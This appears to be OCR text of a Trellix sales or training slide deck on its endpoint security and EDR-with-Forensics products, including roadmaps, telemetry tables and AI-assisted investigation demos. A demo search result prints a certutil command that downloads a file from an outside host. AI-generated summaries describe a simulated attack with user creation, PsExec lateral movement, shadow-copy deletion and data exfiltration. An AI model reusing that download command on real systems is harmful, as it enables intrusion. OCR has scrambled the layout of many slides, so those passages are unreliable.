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Use the following WIFI:

Before We Begin D1 9737253

Password: 222?22
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Please pay attention to the following items...

Silence
Your Emergency Session
Devices Restrooms Exits Q&A Schedule

=mo
—_Jo
cllmo

%

Please mute or turn Restrooms are

off your smartphones The main exit is located We will have a The session is
and other electronic located 77272. at 27?72, Q&A throughout expected to last

devices to minimize the session approximately
distractions during 3 hours with one

the presentation. 30 min. break.

TrelliX




Our
Agenda
Today

Trellix Endpoint Security

Trelh)X

Introduction to Endpoint Suite
Overview of Key Components

EDRF overview/architecture & roadmap
ENS, ePO and TACC Roadmap

System information reporter

Key Use cases

Demo

Licensing



-Challenges

Organization’s evolving challenges

Security Analyst SOC Manager CISO

"I'm drowning in alerts, lacking "My team's efficiency is hampered “I'm under immense pressure to
critical context, and wasting time by limited resources and a need prove our security program's
on manual data collection, leading to elevate skills, making it hard to maturity and resilience, worried
to alert fatigue and slow keep pace with threats and about our ability to withstand
investigations.” optimize our security advanced attacks and
operations." demonstrate due diligence

post-breach."

TrelliX

Copyright © 2025 Musarubra US LLC. | All Rights Reserved - Trellix Confidential



Required Capabilities

Organization’s evolving challenges
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Achieve Endpoint Uncover Evasive Neutralize Security
Resilience Threats Incidents
w/ Battle-tested protection w/ Effective and accurate w/ Immediate response,
optimized on all endpoints alerts, incident triage, root cause awareness,
proactively and prioritization and remediation

TrelliX

Copyright © 2025 Musarubra US LLC. | All Rights Reserved - Trellix Confidential
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Integrated & Performant Layered Security

DLP Endpoint

Discover & Protect
Sensitive Data

. USB Device Blocking
EDR w/ Forensics Trellix Application

Detect, Investigate and Change Control

& Remediate Deny / Allow Lists

Trellix Policy
Auditor

Compliance

Endpoint Security

Layered Threat
Prevention

TrelliX o %

Trellix Mobile
Security

Protecting the
mobile device

Advanced
Research Center
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ePolicy Orchestrator

Endpoint Security Platform (ENS)

Adaptive Threat Protection

Device Control

Insights

Threat Intelligence Exchange

IVX

Application Control

EDRF

TrelliX

Trellix ePolicy Orchestrator

Streamlined deployment and policy management for all

endpoints

o0 Dashboards and reports

Certified
for security posture,
monitoring and compliance
o Managed risk with Augmentec
Role-based access
and controlled updates
Trim
o SaaSs, on-premises,
and hybrid deployment
Extensible

for flexibility and resiliency

‘ Trelllx ' 7|Centrallzed

Customlzable

On-Premises or
SaaS




Trellix ePolicy Orchestrator

ePolicy Orchestrator Flexible Policy Management = Trelllx Protection Workspace  Dashboards  SystemTree  Policy Catalog ~ Tag Catalog  Threat Event
* Manage all

/71 1V NN

Endpoint Security Platform (ENS) endpoints, anywhere Systems
. New Systems s By 5_ L',I "OLpS
- Automatically adapt ~ System Tree L
policies to risk |
System T Syst Assi d Paolici Assi d Client Task G Detail Agent Depl t
Adaptive Threat Protection ystem Tree ystems ssigned Policies ssigned Client Tasks roup Details gent Deploymen
v My Organization Preset: Custom:  Quick find: =
Outcome Accounting | This Group and 4ll Subgroups None Yi Clear B
Device Control o SI m pllfy end pOI nt Finance DNS Name A | Managed State Tags
secu rlty Markabng [ 141266-bbushes-Marketing.selabs trellix.c Managed Marketing, Workstation
. v - -| o 3 A -
. a rCh Itecture Network Discover
In5|ghts Choose Columns
e Contain users and ReESEBLENS — e
; pply Tag
. L
Threat Intelligence Exchange systems exposed L System Health Indicater b | - claar Tag
to threats Windows
Tag > Exclude Tag
v Lost and Found
Application Control p
IVX WORKGROUP
‘ DXL S
Application Control 15 <
Agent 2
EDRF I Directory Management [S
’ Actions v | 1 of 1 selected i Wake Up Agents

TrelliX
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Trellix Endpoint security platform

ePolicy Orchestrator

Endpoint Security Platform (ENS)

L7\
29 ]
— ] NN
Adaptive Threat Protection o '8 Adapti
aptive
= Threat Firewall Web Control Threat

Prevention Protection

Device Control

Insights

7
L X4

ENS is a common service platform that is managed by ePO
through the Trellix Agent

Threat Intelligence Exchange

7
L X4

ENS includes protection for:

VX
Known Threats (Signatures)

Host Network Security (Firewall)

Safe browsing (Web Control)

Advanced and Zero Day Threats (Adaptive Threat
Protection)

Application Control

YYVYY

EDRF

TrelliX
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Trellix Adaptive threat protection

ePolicy Orchestrator Dynamic Application
ML Protect .
Endpoint Security Platform (ENS) Containment
Block zero-day malware before it executes with static .y
analysis machine learning and dynamic behavioral
Adaptive Threat Protection cloud-based machine learning
Device Control ML Protect Static

(Pre-Execution)

Insights . . .
Detect malware based on pre-execution static binary

analysis using machine learning and comparison to known
malware attributes

Threat Intelligence Exchange

Containment = Limit or
a ML Protect Dynamic eliminate the ability

VX

of grayware to make
changes on the endpoint
Detect dynamic behavior of Greyware on the endpoint, while running endpoint
EDRF compare to known malware behaviors for detection analysis
a match via behavioral cloud-based machine learning

(Post-Execution)

Application Control

TrelliX




Trellix Device control
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ePolicy Orchestrator

Endpoint Security Platform (ENS) Centrally managed device blocking for unauthorized peripherals.

¢ Ensure control of all external devices

Adaptive Threat Protection * Prevent malware from entering the environment through unauthorized devices
* Granular controls to specify authorized devices by Vendor / Product ID or Serial

Device Control ‘
=L ZiePO

e '{?» Management
Insights - | & Console
Policies Device and
Data Events

Threat Intelligence Exchange

Serial/ Parallel cduc
A & .
e - e
% SN
/DVD ‘ ' \\
cO K ' . WI/IRDA
Application Control ‘ : 0
FireWire 0 Bluetooth

EDRF

TrelliX
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Trellix Insights

ePolicy Orchestrator Threat Intelligence

SECURITY POSTURE SCORE / CAMPAIGNS BY SEVERITY CAMPAIGN DETECTIONS DEVICES DEFENSIVE PLAYBOOKS
Endpoint Secu rity Platform (ENS) ° Deta I | ed Th rea t — 0 Gt B0 EXPOSED INSUFFICIENT
Libra iy \ o Zeroda T21% i 0""’“""“’ 5"5"”“ N = o Done
y v 309 J evesum 0 14
* Ma p ped to In d ust ry Configuration 50.24% i o Pending
Adaptive Threat Protection and Geo o Detecton Prevalence  100%

Vulnerability Assessment 0.03%

Outcome

Device Control

e Threat attribution Campaigns  Threats Profiles CVEs  MITRE Explorer  View more ”
Requiring Attention (1) 0 RAlEUNERGNEISIN  Campaign Connections @

attacks
Threat Intelligence Exchange
® R e d uce d a tta C k Q Aerospace & De b South M@ Last Detected
surface with S
s IVX tailored Campaign Yoo feospe.. ZAF Woidwide  Eposedfnd.. O nsuficentC. @ Defensi. @ LastDetected @

Application Control counter-measures

Threat Profile: Conti Ransomware ‘ ®  odapam

e Security Posture

EDRF
Assessments

The Stealthy Email Stealer in the TAS05 Arsenal

TrelliX
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Trellix Threat Intelligence Exchange

porcy Orchestrator : Share reputation intelligence instantly across the
’ Reputation entire ecosystem
Endpoint Security Platform (ENS) szl
napoin ecurity Fiattorm o 9 0
. Trellix Trellix Trellix
* Security products Endpoint Endpoint Threat
work together Security Detection & Intelligence
Adaptive Threat Protection e Unknown Threats (ENS) Re(SE%Onge Exci?l?f?ge
Discovered @ @
Device Control @ U
Outcome I I I
Insights e Prevent I
unknown @  m mmy Em -— e — =
Threat Intelligence Exchange threats I I- T 1
AUTOMATED [ [ [ | G

e Adapt to global Threat EXCHANGE

threats before Sharin ’ rre @ LAYER
IVX 9 a<h
| they arrive @ G *0.

Application Control e Improve Trellix Trellix Trellix Third-Party
performance Data Loss Network Application Integrations
EDRF with rapid Prevention Security Control
X Endpoint
reputation (DLP)
checks

TrelliX
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ePolicy Orchestrator

Endpoint Security Platform (ENS)

Adaptive Threat Protection

Device Control

Insights

Threat Intelligence Exchange

IVX

Application Control

EDRF

TrelliX

Multi-stage inspection process

Find unknown bad
Find known bad

@

Static Analysis

__@Q

Dynamic Analysis

File executes in a safe and
instrumented environment.

Lower intensity analytical
methods: signatures, reputation,
and emulations

Observe file execution and look for
malicious behavior.
Performs high speed
analysis at scale

Assess malware family
similarity

Code Analysis

Remove obfuscation to expose
original executable code.

Analyze attributes and instruction
sets to identify
characteristics similar to
known bad behaviors

Trellix Intelligence Virtual Execution

Reveal suspicious
patterns
Verdict

2 @ CLEAN

: ® MALICIOUS

: /\ *
= ! QUARANTINE

* Remediation actions
configurable by
integration

Statistical Analysis

Analyze behavioral patterns to
identify maliciousness.

Uncover patterns in code to
identify emerging threats.
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ePolicy Orchestrator

Trellix Application control

Endpoint Security Platform (ENS)

Adaptive Threat Protection

Device Control

Insights

Threat Intelligence Exchange

VX

Application Control

EDRF

TrelliX

Whitelist created during install-time by scanning system for
applications, libraries, drivers, and scripts

» Application attempting to launch can be an executable or an OS
component

» Trellix Application Control verifies binary code from whitelist

 If not found in the whitelist, the program is not launched

Dynamic Whitelisting E. Prevents all unauthorized code from running
Dynamic Allow o]
Listing

: 2 Prevents whitelisted apps from being exploited via buffer
Memory Protection EEELI“ ok Bl s pp g exp

: ; Integrates with GTI and TIE to classify binaries as Good, Bad
File Reputation
and Unknown




Trellix EDR with Forensics
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ePolicy Orchestrator
- Collect Data Surface Threats Guide Investigation Respond
Endpoint Security Platform (ENS)
Re o]« BR & &5
Adaptive Threat Protection + + + @
:‘aé Investigate
Device Control Always-on Suspicious the Alert Historical search
data collection behavior detection

Real-time search

Enable junior

insights Broad visibility File-based and el
' Data visualization
Threat Intelligence Exchange Flexible retention fileless threats
MITRE Automate Robust response
ATT&CK™ alert triage actions
VX framework driven Correlate
identification, .
and mapping Forensic Data

Capture
Trellix WISE for

TrelliX

Application Control
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Achieve Endpoint Resilience

Multi-Layered Endpoint Protection

System or
User Action

Attack Web Control Host Firewall Access Protection
Surface

Reduction Device Control Application Control Intelligent
Virtual

Execution (IVX)
On-Access Scanner

Pre (Sandbox)
. Global (GTI) and Local Threat
Execution

Intelligence Exchange (TIE)

On Adaptive Threat Protection Rules

Execution ML Protect (Static) EDR W'.t h
Forensics:

Detect, Hunt,
Contain,
Evidence,
Adapt w/ 10Cs

Access Protection
Exploit Prevention

During Credential Theft Protection
Execution ML Protect (Dynamic)

Adaptive Threat Protection (ATP)

Post o
Execution Enhanced Remediation

TrelliX



TrelhxX

Endpoint Detection

and Response w/
Forensics —
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Unified Analyst Experience

= TrelX

Monitoring []
Total Threats High Medium Low

“anking « mimikatz.exe Threat Details

Monitoring Monitoring

Al Guided
Investigation ~ Collection

Threat
i Intelligence
Analytics g The best

capabilities Threat Al Guided
brought together
to reduce MTTD /
MTTR for analysts

Intelligence Investigation

Analytics
YARA

/loc
Search

Collection

All Endpoint workflows
in a single interface.

I
TrelliX
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Unifying EDR and Forensics

Q2 2025
e Combined EDR +
Unified Forensics agent (Q4
Client 2024)

eStreamlined analyst

. workflows
Unified eCustom loCs creation
Experience ¢“One Click” EDR
migration

Unified
Efficacy

TrelliX

Q3 2025

e Remote Shell

e | ogon Tracker
e Process Tracker
e |Pv6 support

e Expanded
acquisition actions

e Improved detections
w ETW-TI

Q4 2025 (Soon)

e EDRF Client FIPS
support

e “One Click” HX
migration (limited
availability)

TRELLIX CONFIDENTIAL

Recent Progress: EDR with Forensics Cloud

Vision for
2026

Trellix Analyst
Workbench for
all Trellix
products

e Increases
velocity for
innovation,
improvement
and features

e Consistent user
experience
regardless of
deployment

type
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Phase 1
(Dec ‘24)

Unified
Client

eNew EDRF Client
l[aunched 2024

elmproved
responsiveness
during bulk
acquisitions

eMore reliable
backup and restore

Phase 2
(Sept’25)

Historical
Search

e EDRF gains key
Forensics functions:

o Remote Shell
o Logon Tracker
o Process Tracker

e |Pv6 Support
e ETW-TI

e Deployment
improvements

Phase 3
(Nov ‘25)

Unified
Experience

e INncreased real-time
endpoint behavior
Visibility

e Historical Search for
endpoints on or
offline

e In-depth threat
hunting of
undetected
malicious activity

Recent Progress: EDR with Forensics On-Prem

Vision for 2026

Trellix Analyst
Workbench for all
Trellix products

e Increases velocity
for innovation,
improvement and
features

e Consistent user
experience
regardless of
deployment type

TrelliX

TRELLIX CONFIDENTIAL



-Management Benefits

ePolicy Orchestrator adds value not available with HX

Advanced Policy Management Flexible policy assignment, orchestration and management in ePO - policy history, approval, compare, revert, export, import, and clear
policy assignments. Policy assignment rules. Clear view of what policies are assigned to any systems and usage of policies.

Custom D ashboard, Reporting and Generate custom dashboards, queries, and reports in ePO (alert, management data, and compliance reporting). Schedule and email reports

c and queries results automatically.
Queries

Improved Scalability and availability One ePO can handle myltiple HX servers ar}d move endpoigt; between diftje'rent HX servers for migration and consolidation and for the
forensics storage. Multiple Agent Handlers improve availability and scalability.

Automatic Responses Automated reactions based on events, send email, tag system, run client tasks, assign different policy etc.

Scheduled reactions and p ackage Initiate and deploy any script or package on any endpoints or group of endpoints now, next time connected or scheduled interval (Win,
Linux and macOS) using ePO Endpoint Deployment Kit (EEDK)

deployment

Detect unmanaged endpoints Identify unmanaged endpoints on the network - Rogue System Detection (RSD)

Detect unmanaged virtual servers Identify unmanaged virtual servers using Hypervisor connection (Cloud Workload Security add-on)
Identify software installed Report on software installed on Windows endpoints - System Information Reporter (SIR)

Real time reputation lookup Trellix Agent provide Data Exchange Layer (DXL) - Fast reputation lookup,Link to OpenDXL

TrelliX

Copyright © 2025 Musarubra US LLC. | All Rights Reserved - Trellix
Confidential



Protection Benefits

Offers increased prevention capabilities

Threat Prevention Malware Protection Prevents threats from accessing systems, scans files automatically when they are accessed, and runs
targeted scans for malware on client systems.
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Elldp()illt Firewall Unsupported Monitors communication between the computer and resources on the network and the Internet. Intercepts
suspicious communications.

Web Control Unsupported Monitors web searching and browsing activity on client systems and blocks websites and downloads
based on safety rating and content.

Adaptive Threat Protection EXplOit Guard and Malware Detect unknown threats through malicious behavior on and during execution by applying reputation,
rules, and machine learning to process behaviors. Proactively protects and restores system through

Guard application containment.

Device Control Device Guard Provides protection for USB drives, smartphones, Bluetooth devices, and other removable media. Control
removable device data transfer and execution.

Application Control U nsupported* Application Control protects your organization against malware attacks before they occur by proactively
controlling the applications that run on your devices

EXplOit Prevention EXplOit Guard Threat Prevention protects against exploits such as Buffer Overflow Protection and Illegal API Use.
Customize detections and preventions with Expert Rules.

Network Intrusion Unsupported Protect against network denial-of-service attacks and bandwidth-oriented attacks that deny or degrade

B enhoh network traffic.

Access Protection Unsupported* Protect against unwanted changes to client systems by restricting access to specified files, shares, registry

keys, registry values, and preventing or restricting processes and services from executing threat behavior.

TrelliX

Copyright © 2025 Musarubra US LLC. | All Rights Reserved - Trellix
Confidential
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Endpoint Event Visibility

EDRF vs HX event collection

Windows Endpoint Visibility : Coverage Analysis
16 |
15 [ B HX EDRF
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13 |
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Event Collection Category Type

MAC Endpoint Visibility : Coverage Analysis

TrelliX
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Telemetry Feature Category Event

Process Activity

Process Creation

Process Refreshed

Process Forked

Process Reputation changed

Process Termination/Deleted

Process Access

Image/Library Loaded

Remote Thread Creation/Injection

Process Tampering Activity

File Manipulation
(Executable &
Non-Executable )

File Created

File Attribute Changed

File Modified

File Deleted

File Moved

File Executed

TCP Connection Open /Close

UDP Connection Open

Port Open /Close

Driver/Module Activity

Event Visibility with EDRF - Windows

Telemetry Feature Category Event Telemetry Feature Category Event

Driver Loaded

Loaded DLLs/Images

Driver Modification

File Read/Write

File Reputation Changed

Network Activity HTTP/S/URL Driver Unloaded
DNS Lookup Virtual Disk Mount
File Downloaded Device Operations USB Device Unmount
IP Address Change Notification USB Device Mount
Hash Algorithms MD5 Other Relevant Events Group Policy Modification

SHA

User Account Activity

User Login

User Logout

Account Changed

Password Changed

Password Reset

Account Disabled

Account Deleted

Account Enabled

Account Locked

Registry Activity

Key/Value Creation

Named Pipe Activity

Pipe Creation

Pipe Connection

Key/Value Replaced

Agent Start

Account Unlocked

ACL on Admin Group

Username Changed

Admin Pass Restored

Successful RDP Logon

Schedule Task Activity

Key/Value Restored Agent Stop
Key/Value Queried Agent Install
EDR SysOps -
Key/Value Enumerated Agent Uninstall
Key/Value Modification Agent Keep-Alive
Key/Value Read Agent Errors
Key/Value Deletion WmiEventConsumerToFilter
Scheduled Task Creation WMI Activity WmiEventConsumer

Scheduled Task Execution

WmiEventFilter

Scheduled Task Modification

BIT JOBS Activity

BIT JOBS Activity

Scheduled Task Deletion

PowerShell Activity

Script-Block Activity

Credential Backup

Credential Restored

TrelhX

Service Activity

Service Creation

Service Started

Service Modification

APIs

COM API

Write to Memory

Code Injection

Service Deletion

BOLD is not available in

1 I1\/




Event Visibility with EDRF - Linux [ Event Visibility with EDRF - Mac

Telemetry Feature

Telemetry Feature Category

.. Process Creation Category Event
Process Activity
Process Termination Create
File Creation Read
File Modification Write
. . . File Moved Fil Hardlinked
File Manipulation iles
File Symbolic Link Delete
File Deletion Rename
File Read Move
. . Logon Success Modified
User Activity
Logon Failed Created
Network Connection Outbound Process Image / Library loaded
Network Activity Network Connection Inbound Fork/Exec
Additional L7 Information Stop
Scheduled Task Activity Scheduled Task Accept
K | Module E t Loaded Connect
ernel Module Events
Unloaded Network DNS Lookup
User Account Created IP Address Change Notification
U A t Activit User Account Modified Network access
ser Account Activi -
v User Account Deleted User Activity SSH & Apple Remote Desktop
SSH Logon (Success/Failure) Sysinfo
Kernel Module Load :
Driver/Module Activity Service Start
Kernel Module Unload . . Service Modification
) Service Activity
Service Start Service Restart
Service Modification i
Service Activity Service Stop
Service Restart
Service Stop
TreliX
EDR SysOps ' ) ]
Agent Stop BOLD is not available in

1 I1\/



Endpoint Event Visibility

EDRF vs EDR event collection
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MAC Endpoint Visibility : Coverage Analysis
8
B EDR EDRF
7
6
5
Windows Endpoint Visibility : Coverage Analysis 4
16 s
15 [ @ EDR EDRF 2
s | i
12 : ° e® S O Y {0 i
11 e\ ?(oce ﬂe‘\ﬂo i P&“\j‘ = \15‘“ . P&{\q\
10 [ W gori®
g - Event Collection Category
7F
6 -
5
f'; 1 Linux Endpoint Visibility : Coverage Analysis
= B EDR EDRF
2
'F | I o [ 6
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Event Collection Category Type S 8 e 10 o P P p e oo
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Event Collection Category
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Detection Coverage
EDRF vs HX MITRE ATTACK Framework detections

e mac OS
J 400.00%

Windows

60.00% oo
B Average
200.00% B Ininital Access
[ Exexecustion
100.00% 7 @ Presistence
40.00% 8 Privilege Escalation
0.00%

[ Defense Evasion
[ Credential Access
@ Discovery

Linux Lateral Movement
150.00%

2000% [ Collection
[l Command and Control
100.00% . Exfiltration

Impact
0.00% ll

50.00%

0.00%

TrelliX
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TrelliX

ePO - Management Ul

Policy management

Centralized alerting and
reporting

Software / update management

Forensics controller - SOC Ul

Forensic data storage

APIs

10C Alerts

Triage and Forensics Tasks

Containment and Remediation

EDR Search and YARA Sweep

Telemetry cluster * 18 Nov

Historical data lake

Trace data

Telemetry searching

DXL layer

Trellix Agent (Single Agent)

EDRF
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Hybrid and On-Prem Deployments

Trellix ENS and EDR wW/ Forensics with On-Premise ePO and “HX"

g Trellix telemetry cluster Private GTI
~ IVX (Sandbox) Telemetry cluster . S * ___________________ }

! ~

.................. — L
""" m o Ekdsily | e
A '....‘ ................................... .
*Alerts *Traces *Health *Reputation
*Triages *Status Lookup
«Search Results *Deployment «Alerts
*Task Results *Content
*Policy e HX, ePO and TIE are onprem or laaS
*Searches *Configuratio e Forensics server delivers on-premise
*Tasks n EDR functionality
Trellix Agent Shared Services

Agent Trellix EDR with Forensics m C:npteol H

New shared sensor stack

TrelliX
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Before

HX Controller

]

£

(2]

=

X Agent

n

(o]

t

=

(=

(o) HX

(&)

TrelliX

HX - On Prem Managed

Orchestration & Management/Threat Intelligence

Trellix Agent
e Searches e Deployment
e Tasks e Content
e Traces I e Policies
e Health e Configuration
e Status e Alerts

On Prem EDR with
Forensics

HX Controller

e Triage

Packages

e Forensics
Disk Capture
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ENS and HX - On Prem Managed

ePO Server HX Controller F HX Controller
w — | é K
g, : — : § Orchestration & Management/Threat
: : : Intelligence
s / . d
M Agent X Agent Trellix Agent
/ ; : e Searches e Deployment
U ) : e Tasks e Content
| : » e Traces e Policies e Triage
: e Health e Configuration Packages :
: | e Status o Alerts :

e Forensics
Disk Capture:

ENS HX ENS On Prem EDR with

q q Forensics

Controls

TrelliX




ENS and EDRF - On Prem Managed - Intended for 18 Nov 2025

HX controller
. Orchestration & Management/Threat

ePO Server HX Controller § § ePO Server
: § H Intelligence
: Packages
e Forensics
Disk Capture

Trellix Agent

—
: ’ ’
1
]
1
| : :
! : .
! .
1
! e Deployment
1
1

V4
(]
: : e Searches
E e Tasks e Content
» : e Traces I e Policies
: : e Configuration
: e Alerts

HX controller

N

Mgmt

Controls

: : Trellix Agent
e Health
e Status
o All Telemetryi
e Historical :
search

X Agent

M Agent : :

~

Telemetry
cluster

ENS HX

TrelliX



EDRF On-Prem Architecture:
Historical Search
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Telemetry Cluster
| DXL extension |

HX Server A — HX Server B —

- -
— —

T ~ V4 V4

! HS Ul HS Ul

: -EE __HS Module __HS Module

1

1

! On-Prem ePO

1

I

. === mmsmmsmsmsmes > | EDR extension |

:

1

I

1

| IAM |

| OpenSearch |

' Data prep/ingest |
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'HX Agent Events by Operating System

Event Type Windows Mac OS X Linux
File write events o/ 4

IPv4 network events v/ 4 /
DNS lookup events v 4

URL events o/

Image load events v/ v/

Process life cycle events 4 v o/
Reqistry key events o/

IP address change events v /

TrelliX




Process Activity

Telemetry Feature Category Event

Process Creation

Process Refreshed

Process Forked

Process Reputation changed

Process Termination/Deleted

Process Access

Image/Library Loaded

Remote Thread Creation/Injection

Process Tampering Activity

File Manipulation
(Executable &
Non-Executable)

File Created

File Attribute Changed

File Modified

File Deleted

File Moved

File Executed

File Read/Write

File Reputation Changed

User Account Activity

User Login

User Logout

Account Changed

Password Changed

Password Reset

Account Disabled

Account Deleted

Account Enabled

Account Locked

Account Unlocked

ACL on Admin Group

Username Changed

Admin Pass Restored

Successful RDP Logon

Credential Backup

Credential Restored

TrelhX

Event Visibility with EDRF - Windows

Telemetry Feature Category Event Telemetry Feature Category Event

TCP Connection Open /Close

UDP Connection Open

Port Open /Close

Driver/Module Activity

Driver Loaded

Loaded DLLs/Images

Driver Modification

SHA

Registry Activity

Key/Value Creation

Named Pipe Activity

Network Activity HTTP/S/URL Driver Unloaded
DNS Lookup Virtual Disk Mount
File Downloaded Device Operations USB Device Unmount
IP Address Change Notification USB Device Mount
Hash Algorithms MD5 Other Relevant Events Group Policy Modification

Pipe Creation

Pipe Connection

Key/Value Replaced

Agent Start

Schedule Task Activity

Key/Value Restored Agent Stop
Key/Value Queried Agent Install
EDR SysOps -
Key/Value Enumerated Agent Uninstall
Key/Value Modification Agent Keep-Alive
Key/Value Read Agent Errors
Key/Value Deletion WmiEventConsumerToFilter
Scheduled Task Creation WMI Activity WmiEventConsumer

Scheduled Task Execution

WmiEventFilter

Scheduled Task Modification

BIT JOBS Activity

BIT JOBS Activity

Scheduled Task Deletion

PowerShell Activity

Script-Block Activity

Service Activity

Service Creation

Service Started

Service Modification

APIs

COM API

Write to Memory

Code Injection

Service Deletion

BOLD is not available in HX




Event Visibility with EDRF - Linux [ Event Visibility with EDRF - Mac

Telemetry Feature Category Telemetry Feature Category Event

.. Process Creation Create
Process Activity
Process Termination Read
File Creation Write
i ificati Hardlinked
File Modification Files
. . . File Moved Delete
File Manipulation
File Symbolic Link Rename
File Deletion Move
File Read Modified
. . Logon Success Created
S AL i Image / Library loaded
Logon Failed Process 9 Y
Network Connection Outbound Fork/Exec
Network Activity Network Connection Inbound Stop
Additional L7 Information Accept
Scheduled Task Activity Scheduled Task Connect
Loaded Network DNS Lookup
Kernel Module Events Unloaded IP Address Change Notification
User Account Created Network access
User Account Modified User Activity SSH & Apple Remote Desktop
User Account Activity
User Account Deleted Sysinfo
SSH Logon (Success/Failure
gon ( 4 ) Service Start
5 . Kernel Module Load . egs e
Driver/Module Activity . . Service Modification
Kernel Module Unload Service Activity -
Service Restart
Service Start -
Service Stop
. .. Service Modification
Service Activity
Service Restart
Service Stop
TrelhX
EDR SysOps ) _ )
Agent Stop BOLD is not available in HX
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On-prem historical Search - compare

On-prem capabilities today compare to next generation

Current: HX + XClient or XAgent

e Only available when endpoint is
online

e Only a few days of events are
available

e Can cause performance issues
when hunting for files outside
event buffer

e Search Request is distributed to
many endpoints

e Have to pull full event buffer for
further analyze

TrelliX

Next: HX + XClient + Data Store

Trace Data / Telemetry pushed
every 30 seconds

Search is available even if the
endpoint is offline or wiped out
No performance impact on
endpoints when searching
Many search can be initiated and
analyzed with no endpoint
performance impacted
Retention period is weeks or
months based on storage

More telemetry data points with
EDRF/Xclient than HX/Xagent
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Deep integration with tangible benefits

Tr.el I X E.DR *Enable analysts of all skill levels with natural language
with Wise Al query builder
*Increase efficacy and reach with multi-lingual threat
hunting

*Rapidly create executive summaries of threats and
artifacts with Dossier Mode

eDecrease time to resolve with Interactive Mode to drill
down into threat and artifact details

*Rapidly assess the depth and breadth of an attack with
Knowledge Graph

*Reduce time to remediate with detailed
recommendations for next steps

Trelh)X
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Enable analysts of all
skill levels with
automated triage
analysis and report
generation

TrelliX

Rapidly test
hypothesis with Al
assessment of leads
uncovered by analysts

Boost response w/ Generative Al Assistance

DIGITAL JUSTICE SERVED

Reduce time to
remediate with
detailed
recommendations for
next steps
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Hunt and Remediate with Natural Language Query

SearCh and Response HostIinfo hostname X

- Search in native T of 3 tems
language

Mitigate

. Res po N d W/ B u i |t_i N Searching... Showing 3 of 4 results EE
and Custom Actions -

Delete Registry Value

— Execute Reboot
| Hostname Connection Status Count Operating System

Remove File
L.

Outcome 5

Remove File Safe

1 RDR-LOCALBROKER Online Stop And Remove
e Undiscovered : L i s

Threats revealed (] INFRA1-WIN2019 Online i B
with hunt queries

Historical Search Search with Wise uricache argument

Th reats CO nta i n ed ZT;R:;DnZUEi:e contains "urlcache"
and remediated

Aﬂalysts can Showing 1 of 1 results
communicate w/
tool from Day 1

Drag a column header here to group by that column

Detection Date Device Name Artifact CommandLine

Sep 27, 2024 4:00:01 PM 142590-bbushes-Finance Process "CAWINDOWS\system32\certutil.exe" -urlcache -f http://haleassetss.com:5000/m

TrelhX
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Al-Guided
Investigation

* 1-Click Threat
analysis & reporting

« Actionable key
findings w/ context

Outcome

e Save 8 hours per
100 alerts

Consistent
analysis and
reporting

Guidance to
Improve analyst
skill-sets at all
levels

TrelhX

Monitoring

All Threats

Disrupt Ongoing Attacks Faster with Al

rundll32.exe

Initial trigger Trace de
Sep 18, 2024 9:46:
Sep 25, 2024 1:03

First detection
Last detection
Affected devices

Age

v Process Attributes

First Name
rundli32.exe

MD5
737978CD2171BOEA1DE6691E24B7727H

SHA-1
F2ED8BE208495149B36D56DD0OBCCO0B
195CBBADO

SHA-256
D9927533C620C8A499B386A375CB93C1
7634801F8E216550BD840D4DBDDACSC
6

» Wise

*Generated by Al, verify for accuracy

Terms of Use

Welcome to Trellix's new Al capabilities! Choose an option to test

it out.

Select Language:

English
French
Italian
Portuguese

Spanish

lus suggested contextual prompts

3 minutes ago

kh as privilege escalation, lateral movement, and
the problem process, executing various
s and the host '141828-bbushes-Finance' where

(pid:13588) process, which appears to be a
ss executed commands to add a new user
.14.66.217', and then added this user to the

V.exe' to the remote host '10.14.66.217' using
Lld be an attempt at lateral movement,

user files from the 'Documents' and
bmoexfil.blob.core.windows.net/files'),

as masquerading the 'PsExec’ tool as
pting Volume Shadow Copy Service (VSS)
all' command, potentially hindering forensic

Past 14 days v



Disrupt Ongoing Attacks Faster with Al

A RN

Knowledge graph Monitoring

* 1-Click Event
relationship graph

7 minutes ago Past 14 days v

Event Relationships:

ru nd | l32'exe Th reat Detal lS * Event Relationships: The events are related to each other as they all involve the execution of the 'slOgAcB.exe'
file, which is used to perform various malicious activities such as creating a new user, deleting shadow copies,

e ) . ) and executing additional payloads. These activities are indicative of a lateral movement, privilege escalation,
Initial trigger Trace detection > Device: || 141828-bbushes-Fin: and data exfltration attack:

First detection Sep 18, 2024 9:46:27 AM
Last detection Sep 25, 2024 1:03:04 PM v Threat Behavior
Affected devices 2

Age 9 days

o u tco me Remote Desktop Protocol T1021.00, | L

Y Save h O u I’S pe r SMB/Windows Admin Shares T1021

week by e Rename System Utilities T1036.003 l l
| evera g N g W ISe First Name Application Layer Protocol T1071 (C |

rundll32.exe

to summa rlze an d Taint Shared Content T1080 (Latera -
visualize threats MDS v Process Activity l l

737978CD2171BOEA1DE6691E24B7727F ¥

O n t h e a n a |yStS SHA-1 Sequentia| View slOgAcB.exe cB.exe slOgAcB.exe cB.exe slOgAcB.exe

behalf. F2EDBBE208495149B36D56DDOBCCO0B
195CBBADO Filter events ¥ Filtered by Severity

» Actionable key
findings w/ context

All Threats

Vv Knowledge Graph
Techniques Observed(15)

\ AN
EXECUTED EXECUTED

rundli32.exe (PID: 12252) rundli32.exe (PID: 12680)

CREATED_USER DELETED_SHADOWS EXFILTRATED_DATA
SHA-256 i
D9927533C620C8A499B386A375CBI3C1 l - !
wsreset.exe
2634801 F8E216550BD840D4DBDDACSC 10.14.66.217 * xdrdemoexfil.blob.core. windows.net Administrators QeURySE.dil

rundli32.exe

rundli32.exe

TrelhX
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Disrupt Ongoing Attacks Faster with Al

Email Drafting

* 1-Click Threat Draft

ema” Vv Draft Mail
rundll32.exe Threat Details

Monitoring

12 minutes ago Past 14 days v

 Time saved on
summaries

5 X Dear barty.bushes,
Initial trigger Trace detection > Device: || 141828-bbushes-Fin: £

First detection Sep 18, 2024 9:46:27 AM Thrent Rehavi | hope this email finds you well. | am writing to you regarding some suspicious activity that has been detected on your
~ v

Last detection Sep 25, 2024 1:03:04 PM At e Dn device. As a Security Operations Analyst, | need your assistance in investigating this matter further.

Affected devices 2

Outcome A 9 days

All Threats

e LR S ) Device Details (At time of Detection):

- Hostname: 141828-bbushes-Finance
Remote Desktop Protocol T1021.00 - Operating System: Windows 10

e Save hours per Take Action - Last Boot Time: 2024-09-17T22:20:122

SMB/Windows Admin Shares T1021

week on common Aok Everit Atribioees

v Process Attributes Rename System Utilities T1036.003 Problem Process: rundli32.exe (PID:3776)

tasks like email First Detected (UTC): 2024-09-18T13:40:43.476Z

. First Name Application Layer Protocol T1071 (C
